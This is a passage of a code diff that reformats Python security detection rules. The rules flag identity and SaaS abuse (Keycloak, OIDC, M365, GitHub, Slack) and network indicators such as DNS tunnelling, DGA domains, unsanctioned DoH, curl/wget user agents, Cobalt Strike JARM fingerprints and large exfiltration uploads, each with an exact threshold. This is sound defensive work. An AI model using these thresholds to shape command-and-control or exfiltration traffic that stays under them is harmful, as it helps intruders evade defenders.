- fp=["Approved local-dev client"], playbook="tpl-credential-access"),
+ S(
+ slug="ident-keycloak-master-realm-user-created",
+ name="Keycloak Master Realm User Created",
+ severity="high",
+ mitre=["t1136"],
+ product="keycloak",
+ service="audit",
+ when={"event_type": "USER_CREATE", "realm": "master"},
+ fp=["Bootstrap"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-keycloak-admin-realm-role-grant",
+ name="Keycloak realm-admin Role Granted",
+ severity="high",
+ mitre=["t1098"],
+ product="keycloak",
+ service="audit",
+ when={"event_type": "ROLE_ASSIGN", "role": "realm-admin"},
+ fp=["Bootstrap"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-keycloak-client-secret-regen",
+ name="Keycloak Client Secret Regenerated",
+ severity="medium",
+ mitre=["t1098.001"],
+ product="keycloak",
+ service="audit",
+ when={"event_type": "CLIENT_UPDATE", "secret_changed": True},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-keycloak-impersonation-used",
+ name="Keycloak User Impersonation Used",
+ severity="high",
+ mitre=["t1078"],
+ product="keycloak",
+ service="audit",
+ when={"event_type": "IMPERSONATE"},
+ fp=[FP_FORENSIC],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-oidc-issuer-trust-changed",
+ name="Generic OIDC Issuer Trust Modified",
+ severity="high",
+ mitre=["t1556"],
+ product="identity",
+ service="oidc",
+ when={"event_type": "issuer.update", "discovery_url_changed": True},
+ fp=["Approved IdP migration"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-oidc-many-clients-from-single-actor",
+ name="OIDC Client Burst Created By Single Actor",
+ severity="medium",
+ mitre=["t1136"],
+ product="identity",
+ service="oidc",
+ when={"event_type": "client.create", "events_per_minute_per_actor_gt": 5},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-oidc-secret-leaked-pattern",
+ name="OIDC Client Secret Logged In Plaintext",
+ severity="medium",
+ mitre=["t1552.004"],
+ product="identity",
+ service="oidc",
+ when={"event_type": "log_emit", "field_contains_oidc_secret": True},
+ fp=[],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-oidc-redirect-uri-wildcard",
+ name="OIDC Client Configured With Wildcard Redirect URI",
+ severity="high",
+ mitre=["t1539"],
+ product="identity",
+ service="oidc",
+ when={"event_type": "client.update", "redirect_uri_contains": "*"},
+ fp=["Approved local-dev client"],
+ playbook="tpl-credential-access",
+ ),
]
@@ -462,86 +1162,226 @@ IDP_RULES: list[dict] = [
# SaaS-side identity / collaboration (20)
# ---------------------------------------------------------------------------
SAAS_RULES: list[dict] = [
- S(slug="ident-google-workspace-mfa-disabled-priv", name="Google Workspace 2SV Disabled For Admin",
- severity="critical", mitre=["t1556.006"], product="google-workspace", service="admin",
- when={"event_name": "ENFORCE_STRONG_AUTHENTICATION", "value": False, "user_priv": True},
- fp=[FP_BREAK_GLASS], playbook="tpl-defense-evasion"),
- S(slug="ident-google-workspace-app-pw-issued", name="Google Workspace App Password Issued To Priv User",
- severity="high", mitre=["t1556.006"], product="google-workspace", service="admin",
- when={"event_name": "GENERATE_APP_PASSWORD", "user_priv": True},
- fp=["Legacy MAPI client (must be ticketed)"], playbook="tpl-credential-access"),
- S(slug="ident-google-workspace-3p-app-data-grant", name="Google Workspace 3rd-Party App Granted Drive Read",
- severity="high", mitre=["t1528"], product="google-workspace", service="oauth_token",
- when={"event_name": "AUTHORIZE", "scope_contains": "https://www.googleapis.com/auth/drive"},
- fp=["Approved SaaS"], playbook="tpl-credential-access"),
- S(slug="ident-google-workspace-suspicious-login-flag", name="Google Workspace Login Flagged 'Suspicious'",
- severity="medium", mitre=["t1078"], product="google-workspace", service="login",
- when={"event_name": "login_failure", "type": "suspicious_login"},
- fp=["Travel"], playbook="tpl-credential-access"),
- S(slug="ident-m365-mailbox-rule-forward-external", name="M365 Inbox Rule Forwards To External Address",
- severity="high", mitre=["t1114.003"], product="m365", service="exchange",
- when={"operation": "New-InboxRule", "forward_external": True},
- fp=["Approved alias"], playbook="tpl-collection"),
- S(slug="ident-m365-mailbox-permission-add-foreign", name="M365 Mailbox Permission Granted To External User",
- severity="high", mitre=["t1098"], product="m365", service="exchange",
- when={"operation": "Add-MailboxPermission", "trustee_external": True},
- fp=["Approved partner integration"], playbook="tpl-collection"),
- S(slug="ident-m365-app-consent-graph-mail", name="M365 App Granted Mail.Read / Mail.ReadWrite",
- severity="high", mitre=["t1528"], product="m365", service="azure-ad",
- when={"operation": "Consent to application", "permissions_contains_any": ["Mail.Read", "Mail.ReadWrite"]},
- fp=["Approved SaaS integration"], playbook="tpl-credential-access"),
- S(slug="ident-m365-sharing-policy-anyone", name="M365 SharePoint Sharing Policy 'Anyone' Enabled",
- severity="high", mitre=["t1530"], product="m365", service="sharepoint",
- when={"operation": "TenantSettingsModified", "sharing_capability": "ExternalUserAndGuestSharing"},
- fp=[FP_TUNING], playbook="tpl-data-exposure"),
- S(slug="ident-m365-tap-removed-priv", name="M365 Temporary Access Pass Generated For Priv",
- severity="high", mitre=["t1556.006"], product="m365", service="azure-ad",
- when={"operation": "Add temporary access pass", "target_user_priv": True},
- fp=[FP_BREAK_GLASS], playbook="tpl-credential-access"),
- S(slug="ident-slack-workspace-2fa-disabled", name="Slack Workspace 2FA Disabled",
- severity="high", mitre=["t1556"], product="slack", service="admin",
- when={"action_in": ["workspace_two_factor_required_disabled"]},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="ident-slack-app-installed-bot-token", name="Slack App Installed With Bot Scope chat:write.public",
- severity="medium", mitre=["t1525"], product="slack", service="audit",
- when={"action": "app_installed", "scopes_contains": "chat:write.public"},
- fp=["Approved bot"], playbook="tpl-persistence"),
- S(slug="ident-slack-channel-shared-external", name="Slack Channel Shared Externally",
- severity="high", mitre=["t1567"], product="slack", service="audit",
- when={"action_in": ["external_shared_channel_invite_accepted", "shared_channel_external_org_added"]},
- fp=["Approved partner channel"], playbook="tpl-exfiltration"),
- S(slug="ident-github-org-2fa-disabled", name="GitHub Org 2FA Requirement Disabled",
- severity="critical", mitre=["t1556"], product="github", service="audit",
- when={"action": "org.disable_two_factor_requirement"},
- fp=["Org transition (must be ticketed)"], playbook="tpl-defense-evasion"),
- S(slug="ident-github-pat-classic-created-with-broad-scopes", name="GitHub Classic PAT Created With repo+workflow+admin:org",
- severity="high", mitre=["t1098.001"], product="github", service="audit",
- when={"action": "personal_access_token.create", "scopes_contains_all": ["repo", "workflow", "admin:org"]},
- fp=["CI bootstrap (must be ticketed)"], playbook="tpl-persistence"),
- S(slug="ident-github-org-collaborator-removed-bulk", name="GitHub Org Bulk Member Removed",
- severity="medium", mitre=["t1531"], product="github", service="audit",
- when={"action": "org.remove_member", "events_per_minute_gt": 20},
- fp=["Approved bulk offboarding"], playbook="tpl-impact"),
- S(slug="ident-github-deploy-key-added-org-wide", name="GitHub Deploy Key Added Across Many Repos",
- severity="medium", mitre=["t1098.001"], product="github", service="audit",
- when={"action": "deploy_key.add", "distinct_repos_per_actor_per_hour_gt": 10},
- fp=[FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="ident-zoom-passcode-disabled-meeting-policy", name="Zoom Account Policy Disables Meeting Passcode",
- severity="medium", mitre=["t1556"], product="zoom", service="admin",
- when={"action_in": ["update_account_settings", "update_user_settings"], "passcode_required": False},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="ident-atlassian-org-required-2fa-off", name="Atlassian Org 2FA Requirement Removed",
- severity="high", mitre=["t1556"], product="atlassian", service="audit",
- when={"action_in": ["org_security_policy_modified"], "two_step_required": False},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="ident-atlassian-api-token-created", name="Atlassian Org API Token Created",
- severity="medium", mitre=["t1098.001"], product="atlassian", service="audit",
- when={"action": "api_token_created"},
- fp=[FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="ident-jamf-mdm-policy-mfa-removed", name="MDM Policy Removed Requiring Device Compliance",
- severity="high", mitre=["t1556"], product="mdm", service="audit",
- when={"action": "compliance_policy_disabled"},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
+ S(
+ slug="ident-google-workspace-mfa-disabled-priv",
+ name="Google Workspace 2SV Disabled For Admin",
+ severity="critical",
+ mitre=["t1556.006"],
+ product="google-workspace",
+ service="admin",
+ when={"event_name": "ENFORCE_STRONG_AUTHENTICATION", "value": False, "user_priv": True},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-google-workspace-app-pw-issued",
+ name="Google Workspace App Password Issued To Priv User",
+ severity="high",
+ mitre=["t1556.006"],
+ product="google-workspace",
+ service="admin",
+ when={"event_name": "GENERATE_APP_PASSWORD", "user_priv": True},
+ fp=["Legacy MAPI client (must be ticketed)"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-google-workspace-3p-app-data-grant",
+ name="Google Workspace 3rd-Party App Granted Drive Read",
+ severity="high",
+ mitre=["t1528"],
+ product="google-workspace",
+ service="oauth_token",
+ when={"event_name": "AUTHORIZE", "scope_contains": "https://www.googleapis.com/auth/drive"},
+ fp=["Approved SaaS"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-google-workspace-suspicious-login-flag",
+ name="Google Workspace Login Flagged 'Suspicious'",
+ severity="medium",
+ mitre=["t1078"],
+ product="google-workspace",
+ service="login",
+ when={"event_name": "login_failure", "type": "suspicious_login"},
+ fp=["Travel"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-m365-mailbox-rule-forward-external",
+ name="M365 Inbox Rule Forwards To External Address",
+ severity="high",
+ mitre=["t1114.003"],
+ product="m365",
+ service="exchange",
+ when={"operation": "New-InboxRule", "forward_external": True},
+ fp=["Approved alias"],
+ playbook="tpl-collection",
+ ),
+ S(
+ slug="ident-m365-mailbox-permission-add-foreign",
+ name="M365 Mailbox Permission Granted To External User",
+ severity="high",
+ mitre=["t1098"],
+ product="m365",
+ service="exchange",
+ when={"operation": "Add-MailboxPermission", "trustee_external": True},
+ fp=["Approved partner integration"],
+ playbook="tpl-collection",
+ ),
+ S(
+ slug="ident-m365-app-consent-graph-mail",
+ name="M365 App Granted Mail.Read / Mail.ReadWrite",
+ severity="high",
+ mitre=["t1528"],
+ product="m365",
+ service="azure-ad",
+ when={"operation": "Consent to application", "permissions_contains_any": ["Mail.Read", "Mail.ReadWrite"]},
+ fp=["Approved SaaS integration"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-m365-sharing-policy-anyone",
+ name="M365 SharePoint Sharing Policy 'Anyone' Enabled",
+ severity="high",
+ mitre=["t1530"],
+ product="m365",
+ service="sharepoint",
+ when={"operation": "TenantSettingsModified", "sharing_capability": "ExternalUserAndGuestSharing"},
+ fp=[FP_TUNING],
+ playbook="tpl-data-exposure",
+ ),
+ S(
+ slug="ident-m365-tap-removed-priv",
+ name="M365 Temporary Access Pass Generated For Priv",
+ severity="high",
+ mitre=["t1556.006"],
+ product="m365",
+ service="azure-ad",
+ when={"operation": "Add temporary access pass", "target_user_priv": True},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-slack-workspace-2fa-disabled",
+ name="Slack Workspace 2FA Disabled",
+ severity="high",
+ mitre=["t1556"],
+ product="slack",
+ service="admin",
+ when={"action_in": ["workspace_two_factor_required_disabled"]},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-slack-app-installed-bot-token",
+ name="Slack App Installed With Bot Scope chat:write.public",
+ severity="medium",
+ mitre=["t1525"],
+ product="slack",
+ service="audit",
+ when={"action": "app_installed", "scopes_contains": "chat:write.public"},
+ fp=["Approved bot"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-slack-channel-shared-external",
+ name="Slack Channel Shared Externally",
+ severity="high",
+ mitre=["t1567"],
+ product="slack",
+ service="audit",
+ when={"action_in": ["external_shared_channel_invite_accepted", "shared_channel_external_org_added"]},
+ fp=["Approved partner channel"],
+ playbook="tpl-exfiltration",
+ ),
+ S(
+ slug="ident-github-org-2fa-disabled",
+ name="GitHub Org 2FA Requirement Disabled",
+ severity="critical",
+ mitre=["t1556"],
+ product="github",
+ service="audit",
+ when={"action": "org.disable_two_factor_requirement"},
+ fp=["Org transition (must be ticketed)"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-github-pat-classic-created-with-broad-scopes",
+ name="GitHub Classic PAT Created With repo+workflow+admin:org",
+ severity="high",
+ mitre=["t1098.001"],
+ product="github",
+ service="audit",
+ when={"action": "personal_access_token.create", "scopes_contains_all": ["repo", "workflow", "admin:org"]},
+ fp=["CI bootstrap (must be ticketed)"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-github-org-collaborator-removed-bulk",
+ name="GitHub Org Bulk Member Removed",
+ severity="medium",
+ mitre=["t1531"],
+ product="github",
+ service="audit",
+ when={"action": "org.remove_member", "events_per_minute_gt": 20},
+ fp=["Approved bulk offboarding"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="ident-github-deploy-key-added-org-wide",
+ name="GitHub Deploy Key Added Across Many Repos",
+ severity="medium",
+ mitre=["t1098.001"],
+ product="github",
+ service="audit",
+ when={"action": "deploy_key.add", "distinct_repos_per_actor_per_hour_gt": 10},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-zoom-passcode-disabled-meeting-policy",
+ name="Zoom Account Policy Disables Meeting Passcode",
+ severity="medium",
+ mitre=["t1556"],
+ product="zoom",
+ service="admin",
+ when={"action_in": ["update_account_settings", "update_user_settings"], "passcode_required": False},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-atlassian-org-required-2fa-off",
+ name="Atlassian Org 2FA Requirement Removed",
+ severity="high",
+ mitre=["t1556"],
+ product="atlassian",
+ service="audit",
+ when={"action_in": ["org_security_policy_modified"], "two_step_required": False},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-atlassian-api-token-created",
+ name="Atlassian Org API Token Created",
+ severity="medium",
+ mitre=["t1098.001"],
+ product="atlassian",
+ service="audit",
+ when={"action": "api_token_created"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-jamf-mdm-policy-mfa-removed",
+ name="MDM Policy Removed Requiring Device Compliance",
+ severity="high",
+ mitre=["t1556"],
+ product="mdm",
+ service="audit",
+ when={"action": "compliance_policy_disabled"},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
]
diff --git a/scripts/detection_specs_part3_network.py b/scripts/detection_specs_part3_network.py
index 375940fc8..30e8fd6f0 100644
--- a/scripts/detection_specs_part3_network.py
+++ b/scripts/detection_specs_part3_network.py
@@ -19,58 +19,154 @@ from detection_specs_part3_helpers import ( # type: ignore[import-not-found]
# DNS (12)
# ---------------------------------------------------------------------------
DNS_RULES: list[dict] = [
- S(slug="net-dns-newly-registered-domain", name="DNS Query For Newly Registered Domain (NRD)",
- severity="medium", mitre=["t1071.004"], product="dns", service="resolver",
- when={"event_type": "dns_query", "domain_age_days_lt": 7},
- fp=["Brand-new SaaS launch (rare; verify business need)"], playbook="tpl-command-and-control"),
- S(slug="net-dns-idn-homoglyph", name="DNS Query For Homoglyph Of Internal Brand",
- severity="high", mitre=["t1583.001"], product="dns", service="resolver",
- when={"event_type": "dns_query", "homoglyph_score_gt": 0.85},
- fp=["Authorized brand-protection scan"], playbook="tpl-initial-access"),
- S(slug="net-dns-nxdomain-spike", name="High Volume Of NXDOMAIN Responses From Single Host",
- severity="medium", mitre=["t1568.002"], product="dns", service="resolver",
- when={"event_type": "dns_response", "rcode": "NXDOMAIN", "count_5min_gt": 200, "src_role": "endpoint"},
- fp=["Malformed in-house tooling (educate)"], playbook="tpl-command-and-control"),
- S(slug="net-dns-any-query-spike", name="DNS Query Type ANY Volume From Single Host",
- severity="medium", mitre=["t1018"], product="dns", service="resolver",
- when={"event_type": "dns_query", "qtype": "ANY", "count_5min_gt": 50},
- fp=["Approved DNS audit run"], playbook="tpl-discovery"),
- S(slug="net-dns-dga-shannon", name="DNS Query With High-Entropy Subdomain (DGA Indicator)",
- severity="high", mitre=["t1568.002"], product="dns", service="resolver",
- when={"event_type": "dns_query", "subdomain_entropy_gt": 4.0, "subdomain_length_gt": 16},
- fp=["CDN with hashed hostnames (allow-listed)"], playbook="tpl-command-and-control"),
- S(slug="net-dns-large-txt-response", name="Large DNS TXT Response (Possible C2)",
- severity="high", mitre=["t1071.004"], product="dns", service="resolver",
- when={"event_type": "dns_response", "qtype": "TXT", "response_size_bytes_gt": 512},
- fp=["DKIM/SPF audit"], playbook="tpl-command-and-control"),
- S(slug="dns-txt-record", name="DNS TXT Response Over 250 Bytes From Non-Resolver Host",
- severity="medium", mitre=["t1071.004", "t1048.003"], product="dns", service="resolver",
- when={"event_type": "dns_response", "qtype": "TXT", "response_size_bytes_gt": 250, "src_role_not_in": ["resolver"]},
- fp=["Approved DNS telemetry or resolver health checks"], playbook="tpl-command-and-control"),
- S(slug="net-dns-tunnel-pattern-len", name="DNS Tunnel Indicator: Long Hex Subdomain Sequence",
- severity="high", mitre=["t1071.004"], product="dns", service="resolver",
- when={"event_type": "dns_query", "subdomain_hex_ratio_gt": 0.9, "subdomain_length_gt": 30},
- fp=["DNSSEC validation lookups"], playbook="tpl-command-and-control"),
- S(slug="net-dns-doh-non-resolver", name="DNS-Over-HTTPS Egress To Non-Sanctioned Resolver",
- severity="high", mitre=["t1572"], product="proxy", service="tls",
- when={"event_type": "tls_session", "destination_port": 443, "sni_endswith_any": ["dns.adguard.com", "cloudflare-dns.com", "dns.google"], "sanctioned_doh": False},
- fp=["Engineer with personal DoH config (educate)"], playbook="tpl-command-and-control"),
- S(slug="net-dns-dot-non-resolver", name="DNS-Over-TLS Egress To Public IP",
- severity="medium", mitre=["t1572"], product="proxy", service="tls",
- when={"event_type": "tls_session", "destination_port": 853, "destination_is_internal": False},
- fp=["Approved upstream resolver"], playbook="tpl-command-and-control"),
- S(slug="net-dns-tor-onion", name="DNS Query For .onion Address",
- severity="critical", mitre=["t1090.003"], product="dns", service="resolver",
- when={"event_type": "dns_query", "domain_endswith": ".onion"},
- fp=["Threat-intel research workstation (allow-listed)"], playbook="tpl-command-and-control"),
- S(slug="net-dns-fast-flux", name="DNS Fast-Flux Pattern (Many A Records, Short TTL)",
- severity="medium", mitre=["t1568.001"], product="dns", service="resolver",
- when={"event_type": "dns_response", "answer_count_gt": 8, "ttl_seconds_lt": 60},
- fp=["Major CDN edge"], playbook="tpl-command-and-control"),
- S(slug="net-dns-rebinding", name="DNS Rebinding Indicator (Public→RFC1918 In Same TTL Window)",
- severity="high", mitre=["t1090"], product="dns", service="resolver",
- when={"event_type": "dns_response", "rebinding_detected": True},
- fp=["IPv6 transition technologies"], playbook="tpl-initial-access"),
+ S(
+ slug="net-dns-newly-registered-domain",
+ name="DNS Query For Newly Registered Domain (NRD)",
+ severity="medium",
+ mitre=["t1071.004"],
+ product="dns",
+ service="resolver",
+ when={"event_type": "dns_query", "domain_age_days_lt": 7},
+ fp=["Brand-new SaaS launch (rare; verify business need)"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-dns-idn-homoglyph",
+ name="DNS Query For Homoglyph Of Internal Brand",
+ severity="high",
+ mitre=["t1583.001"],
+ product="dns",
+ service="resolver",
+ when={"event_type": "dns_query", "homoglyph_score_gt": 0.85},
+ fp=["Authorized brand-protection scan"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="net-dns-nxdomain-spike",
+ name="High Volume Of NXDOMAIN Responses From Single Host",
+ severity="medium",
+ mitre=["t1568.002"],
+ product="dns",
+ service="resolver",
+ when={"event_type": "dns_response", "rcode": "NXDOMAIN", "count_5min_gt": 200, "src_role": "endpoint"},
+ fp=["Malformed in-house tooling (educate)"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-dns-any-query-spike",
+ name="DNS Query Type ANY Volume From Single Host",
+ severity="medium",
+ mitre=["t1018"],
+ product="dns",
+ service="resolver",
+ when={"event_type": "dns_query", "qtype": "ANY", "count_5min_gt": 50},
+ fp=["Approved DNS audit run"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="net-dns-dga-shannon",
+ name="DNS Query With High-Entropy Subdomain (DGA Indicator)",
+ severity="high",
+ mitre=["t1568.002"],
+ product="dns",
+ service="resolver",
+ when={"event_type": "dns_query", "subdomain_entropy_gt": 4.0, "subdomain_length_gt": 16},
+ fp=["CDN with hashed hostnames (allow-listed)"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-dns-large-txt-response",
+ name="Large DNS TXT Response (Possible C2)",
+ severity="high",
+ mitre=["t1071.004"],
+ product="dns",
+ service="resolver",
+ when={"event_type": "dns_response", "qtype": "TXT", "response_size_bytes_gt": 512},
+ fp=["DKIM/SPF audit"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="dns-txt-record",
+ name="DNS TXT Response Over 250 Bytes From Non-Resolver Host",
+ severity="medium",
+ mitre=["t1071.004", "t1048.003"],
+ product="dns",
+ service="resolver",
+ when={"event_type": "dns_response", "qtype": "TXT", "response_size_bytes_gt": 250, "src_role_not_in": ["resolver"]},
+ fp=["Approved DNS telemetry or resolver health checks"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-dns-tunnel-pattern-len",
+ name="DNS Tunnel Indicator: Long Hex Subdomain Sequence",
+ severity="high",
+ mitre=["t1071.004"],
+ product="dns",
+ service="resolver",
+ when={"event_type": "dns_query", "subdomain_hex_ratio_gt": 0.9, "subdomain_length_gt": 30},
+ fp=["DNSSEC validation lookups"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-dns-doh-non-resolver",
+ name="DNS-Over-HTTPS Egress To Non-Sanctioned Resolver",
+ severity="high",
+ mitre=["t1572"],
+ product="proxy",
+ service="tls",
+ when={
+ "event_type": "tls_session",
+ "destination_port": 443,
+ "sni_endswith_any": ["dns.adguard.com", "cloudflare-dns.com", "dns.google"],
+ "sanctioned_doh": False,
+ },
+ fp=["Engineer with personal DoH config (educate)"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-dns-dot-non-resolver",
+ name="DNS-Over-TLS Egress To Public IP",
+ severity="medium",
+ mitre=["t1572"],
+ product="proxy",
+ service="tls",
+ when={"event_type": "tls_session", "destination_port": 853, "destination_is_internal": False},
+ fp=["Approved upstream resolver"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-dns-tor-onion",
+ name="DNS Query For .onion Address",
+ severity="critical",
+ mitre=["t1090.003"],
+ product="dns",
+ service="resolver",
+ when={"event_type": "dns_query", "domain_endswith": ".onion"},
+ fp=["Threat-intel research workstation (allow-listed)"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-dns-fast-flux",
+ name="DNS Fast-Flux Pattern (Many A Records, Short TTL)",
+ severity="medium",
+ mitre=["t1568.001"],
+ product="dns",
+ service="resolver",
+ when={"event_type": "dns_response", "answer_count_gt": 8, "ttl_seconds_lt": 60},
+ fp=["Major CDN edge"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-dns-rebinding",
+ name="DNS Rebinding Indicator (Public→RFC1918 In Same TTL Window)",
+ severity="high",
+ mitre=["t1090"],
+ product="dns",
+ service="resolver",
+ when={"event_type": "dns_response", "rebinding_detected": True},
+ fp=["IPv6 transition technologies"],
+ playbook="tpl-initial-access",
+ ),
]
@@ -78,54 +174,155 @@ DNS_RULES: list[dict] = [
# HTTP / TLS (12)
# ---------------------------------------------------------------------------
HTTP_TLS_RULES: list[dict] = [
- S(slug="net-http-connect-public-ip", name="HTTP CONNECT Method Toward Public IP",
- severity="high", mitre=["t1090"], product="proxy", service="http",
- when={"event_type": "http_request", "method": "CONNECT", "destination_is_internal": False},
- fp=["Sanctioned outbound proxy (allow-listed)"], playbook="tpl-command-and-control"),
- S(slug="net-http-userag-powershell", name="HTTP User-Agent Matches PowerShell Default",
- severity="high", mitre=["t1071.001"], product="proxy", service="http",
- when={"event_type": "http_request", "user_agent_contains": "WindowsPowerShell"},
- fp=[FP_AUTOMATION], playbook="tpl-command-and-control"),
- S(slug="net-http-userag-curl-internal", name="curl/wget User-Agent From Workstation Subnet",
- severity="medium", mitre=["t1071.001"], product="proxy", service="http",
- when={"event_type": "http_request", "user_agent_startswith_any": ["curl/", "Wget/"], "src_role": "workstation"},
- fp=["Engineer ad-hoc workflow"], playbook="tpl-command-and-control"),
- S(slug="net-http-host-header-ip", name="HTTP Host Header Is IP Literal",
- severity="medium", mitre=["t1071.001"], product="proxy", service="http",
- when={"event_type": "http_request", "host_is_ip_literal": True},
- fp=["Internal microservice without DNS"], playbook="tpl-command-and-control"),
- S(slug="net-tls-old-client-version", name="TLS Client Offered TLS 1.0 Or 1.1",
- severity="medium", mitre=["t1573.002"], product="proxy", service="tls",
- when={"event_type": "tls_session", "client_version_in": ["TLSv1.0", "TLSv1.1"]},
- fp=["Legacy line-of-business app (allow-listed)"], playbook="tpl-defense-evasion"),
- S(slug="net-tls-no-sni", name="HTTPS Connection To IP Without SNI",
- severity="medium", mitre=["t1573.002"], product="proxy", service="tls",
- when={"event_type": "tls_session", "sni_present": False, "destination_is_internal": False},
- fp=["IoT device with broken TLS stack"], playbook="tpl-command-and-control"),
- S(slug="net-tls-self-signed-egress", name="Self-Signed Certificate Presented On Public IP",
- severity="high", mitre=["t1573.002"], product="proxy", service="tls",
- when={"event_type": "tls_session", "cert_self_signed": True, "destination_is_internal": False},
- fp=["Misconfigured small SaaS vendor"], playbook="tpl-command-and-control"),
- S(slug="net-tls-suspicious-cipher", name="TLS Negotiated Weak Cipher Suite",
- severity="medium", mitre=["t1600.001"], product="proxy", service="tls",
- when={"event_type": "tls_session", "negotiated_cipher_contains_any": ["NULL", "EXPORT", "RC4", "DES"]},
- fp=["Legacy device support"], playbook="tpl-defense-evasion"),
- S(slug="net-jarm-cobalt-strike", name="JARM Fingerprint Matches Known Cobalt Strike Profile",
- severity="critical", mitre=["t1573.002"], product="proxy", service="tls",
- when={"event_type": "tls_session", "jarm_in": ["07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1", "07d19d12d21d21d00042d43d00043d4f51b7c8b9af6b1c7c2a3d4e5f6a7b8c9"]},
- fp=[FP_PENTEST], playbook="tpl-command-and-control"),
- S(slug="net-jarm-sliver", name="JARM Fingerprint Matches Known Sliver Profile",
- severity="critical", mitre=["t1573.002"], product="proxy", service="tls",
- when={"event_type": "tls_session", "jarm_in": ["3fd3fd0003fd3fd03fd3fd3fd3fd3fd3a458a375eef0c576d23a7bab9a9fb1"]},
- fp=[FP_PENTEST], playbook="tpl-command-and-control"),
- S(slug="net-http-gzip-mime-mismatch", name="HTTP Response MIME And Content-Encoding Mismatch",
- severity="medium", mitre=["t1027"], product="proxy", service="http",
- when={"event_type": "http_response", "mime_type_in": ["application/octet-stream"], "content_encoding": "gzip", "filename_endswith_any": [".jpg", ".png", ".gif"]},
- fp=["Misconfigured CDN"], playbook="tpl-command-and-control"),
- S(slug="net-http-large-post-from-workstation", name="Large HTTP POST From Workstation To Public IP",
- severity="medium", mitre=["t1041"], product="proxy", service="http",
- when={"event_type": "http_request", "method": "POST", "request_size_bytes_gt": 50000000, "src_role": "workstation", "destination_is_internal": False},
- fp=["Sanctioned cloud upload"], playbook="tpl-exfiltration"),
+ S(
+ slug="net-http-connect-public-ip",
+ name="HTTP CONNECT Method Toward Public IP",
+ severity="high",
+ mitre=["t1090"],
+ product="proxy",
+ service="http",
+ when={"event_type": "http_request", "method": "CONNECT", "destination_is_internal": False},
+ fp=["Sanctioned outbound proxy (allow-listed)"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-http-userag-powershell",
+ name="HTTP User-Agent Matches PowerShell Default",
+ severity="high",
+ mitre=["t1071.001"],
+ product="proxy",
+ service="http",
+ when={"event_type": "http_request", "user_agent_contains": "WindowsPowerShell"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-http-userag-curl-internal",
+ name="curl/wget User-Agent From Workstation Subnet",
+ severity="medium",
+ mitre=["t1071.001"],
+ product="proxy",
+ service="http",
+ when={"event_type": "http_request", "user_agent_startswith_any": ["curl/", "Wget/"], "src_role": "workstation"},
+ fp=["Engineer ad-hoc workflow"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-http-host-header-ip",
+ name="HTTP Host Header Is IP Literal",
+ severity="medium",
+ mitre=["t1071.001"],
+ product="proxy",
+ service="http",
+ when={"event_type": "http_request", "host_is_ip_literal": True},
+ fp=["Internal microservice without DNS"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-tls-old-client-version",
+ name="TLS Client Offered TLS 1.0 Or 1.1",
+ severity="medium",
+ mitre=["t1573.002"],
+ product="proxy",
+ service="tls",
+ when={"event_type": "tls_session", "client_version_in": ["TLSv1.0", "TLSv1.1"]},
+ fp=["Legacy line-of-business app (allow-listed)"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="net-tls-no-sni",
+ name="HTTPS Connection To IP Without SNI",
+ severity="medium",
+ mitre=["t1573.002"],
+ product="proxy",
+ service="tls",
+ when={"event_type": "tls_session", "sni_present": False, "destination_is_internal": False},
